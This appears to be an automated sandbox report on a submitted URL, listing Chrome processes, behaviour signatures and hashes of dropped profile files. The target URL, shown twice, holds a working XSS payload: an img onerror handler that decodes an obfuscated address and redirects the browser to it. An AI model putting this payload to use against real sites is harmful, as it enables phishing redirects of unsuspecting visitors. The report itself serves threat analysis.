Analysis

  • max time kernel
    299s
  • max time network
    297s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/08/2026, 23:44

General

  • Target
    https://www.institutodeseguridad.cl/assets/onepage/css/themes/naranjo.min.css?v=8%22%2F%3E%3Cimg%20src%3D%22https%3A%2F%2Fgoogle.com%2Fx.jpg%22%20onerror%3D%22window.location%3DdecodeURIComponent(atob(%27Njg3NDc0NzA3MzNhMmYyZjczNzQ3NDZkNmU2OTcyNzMyZTY1NzMyZjc2NjU2OTZl%27).replace(%2F(..)%2Fg%2C%20%27%25%241%27))%3B%22%3E?wiggin.com
  • Sample260825-3q5eksbb92
Score
3/10

Malware Config

Signatures

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.institutodeseguridad.cl/assets/onepage/css/themes/naranjo.min.css?v=8%22%2F%3E%3Cimg%20src%3D%22https%3A%2F%2Fgoogle.com%2Fx.jpg%22%20onerror%3D%22window.location%3DdecodeURIComponent(atob(%27Njg3NDc0NzA3MzNhMmYyZjczNzQ3NDZkNmU2OTcyNzMyZTY1NzMyZjc2NjU2OTZl%27).replace(%2F(..)%2Fg%2C%20%27%25%241%27))%3B%22%3E?wiggin.com
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:464
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff95580c728,0x7ff95580c734,0x7ff95580c740
      2⤵
        PID:2912
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,7854827073177423266,6607433655016583586,524288 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2104 /prefetch:3
        2⤵
        • System Time Discovery
        PID:4992
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,5632545757862739644,8380070344183725907,262144 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2072 /prefetch:2
        2⤵
          PID:2932
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2380,i,17818619248252079335,5466839440874516726,524288 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2372 /prefetch:8
          2⤵
            PID:3104
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3180,i,12685597415787211259,2343248511689420414,2097152 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3188 /prefetch:1
            2⤵
              PID:2884
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3192,i,9321591973750158487,8751265580739025409,2097152 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3216 /prefetch:1
              2⤵
                PID:2280
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4284,i,10335333859803752796,3247397237461801497,2097152 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4288 /prefetch:2
                2⤵
                  PID:4812
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4688,i,770947961059325100,11737014292256622228,2097152 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4712 /prefetch:1
                  2⤵
                    PID:4960
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5580,i,3148407092948158462,16510992578710838656,524288 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5408 /prefetch:8
                    2⤵
                      PID:1936
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3416,i,2946712871109201535,17660094339590858988,524288 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5600 /prefetch:8
                      2⤵
                        PID:3256
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3380,i,2872650935344836408,1748734009580885819,524288 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4980 /prefetch:8
                        2⤵
                          PID:4088
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4628,i,3647552189233539651,13181760633817948793,524288 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4960 /prefetch:8
                          2⤵
                            PID:1284
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3420,i,17031595382459335568,4518965339197633916,262144 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5476 /prefetch:8
                            2⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2288
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=4592,i,3978099738206048922,252663547285978583,524288 --field-trial-handle=2076,i,10261265302504459902,2868204654614816904,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=732 /prefetch:8
                            2⤵
                              PID:4572
                          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                            1⤵
                              PID:1460
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                              1⤵
                                PID:3872

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

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                                    Downloads

                                    BookmarkMergedSurfaceOrdering

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                    • Size 6B
                                    • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                    • MD5 SHA1 SHA512

                                    BrowsingTopicsState

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                    • Size 414B
                                    • SHA256 60a90ceb022dd360408c06b1709d030c38a27fee219f885ef732df9f6295c43c
                                    • MD5 SHA1 SHA512 TLSH

                                    Network Persistent State

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                    • Size 2KB
                                    • SHA256 6fff745ec52164fe62c491400c9a4f10f3fbb6c8b95491a2c48eae02c4d28876
                                    • MD5 SHA1 SHA512 TLSH

                                    SCT Auditing Pending Reports

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                    • Size 2B
                                    • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                    • MD5 SHA1 SHA512

                                    Preferences

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                    • Size 12KB
                                    • SHA256 21e646be03280d4ea17fb5d72d2f1df676fddbc21214d166a55fba7cde96332a
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Secure Preferences

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                    • Size 17KB
                                    • SHA256 93a969d5494520a313d59c847d3ee10e51ce49e2c8cea4f6ea38850cfab527d0
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    the-real-index

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                    • Size 120B
                                    • SHA256 c751a241ef2a5a9f7f0bb6132d8f8ebe23c8ae0d27840d918e15b2cc00a3aff0
                                    • MD5 SHA1 SHA512 TLSH

                                    the-real-index~RFe585f03.TMP

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe585f03.TMP
                                    • Size 96B
                                    • SHA256 257bd3a98d2c7ec219f7aa12edc7f1fbbcd3763de30221da4559c904e88b27d3
                                    • MD5 SHA1 SHA512 TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                    • Size 117KB
                                    • SHA256 d345c7cd14f8549914dac5d9ce1fc777ed632fb11a4af86d9753dc4824b8c23a
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                    • Size 157KB
                                    • SHA256 770c27e5a4f3f83ca77dfd01c33798fe0b932db5d2cab42ad037c8c39d1d3810
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                    • Size 115KB
                                    • SHA256 a4c0f0bbf3acf591c2661377e2b0224310e249e5233458c3a783ff3c8d18d2fa
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                    • Size 116KB
                                    • SHA256 68c9cc8a23bde72a78ab9920d698a026cd35b5673a2168445e042922f91fa46e
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    Local State

                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                    • Size 116KB
                                    • SHA256 a533de5b03ec7ae0ccf8a05af9d88641fe7a4c9db42bedf6ac65df47d1541ef9
                                    • MD5 SHA1 SHA512 SSDEEP TLSH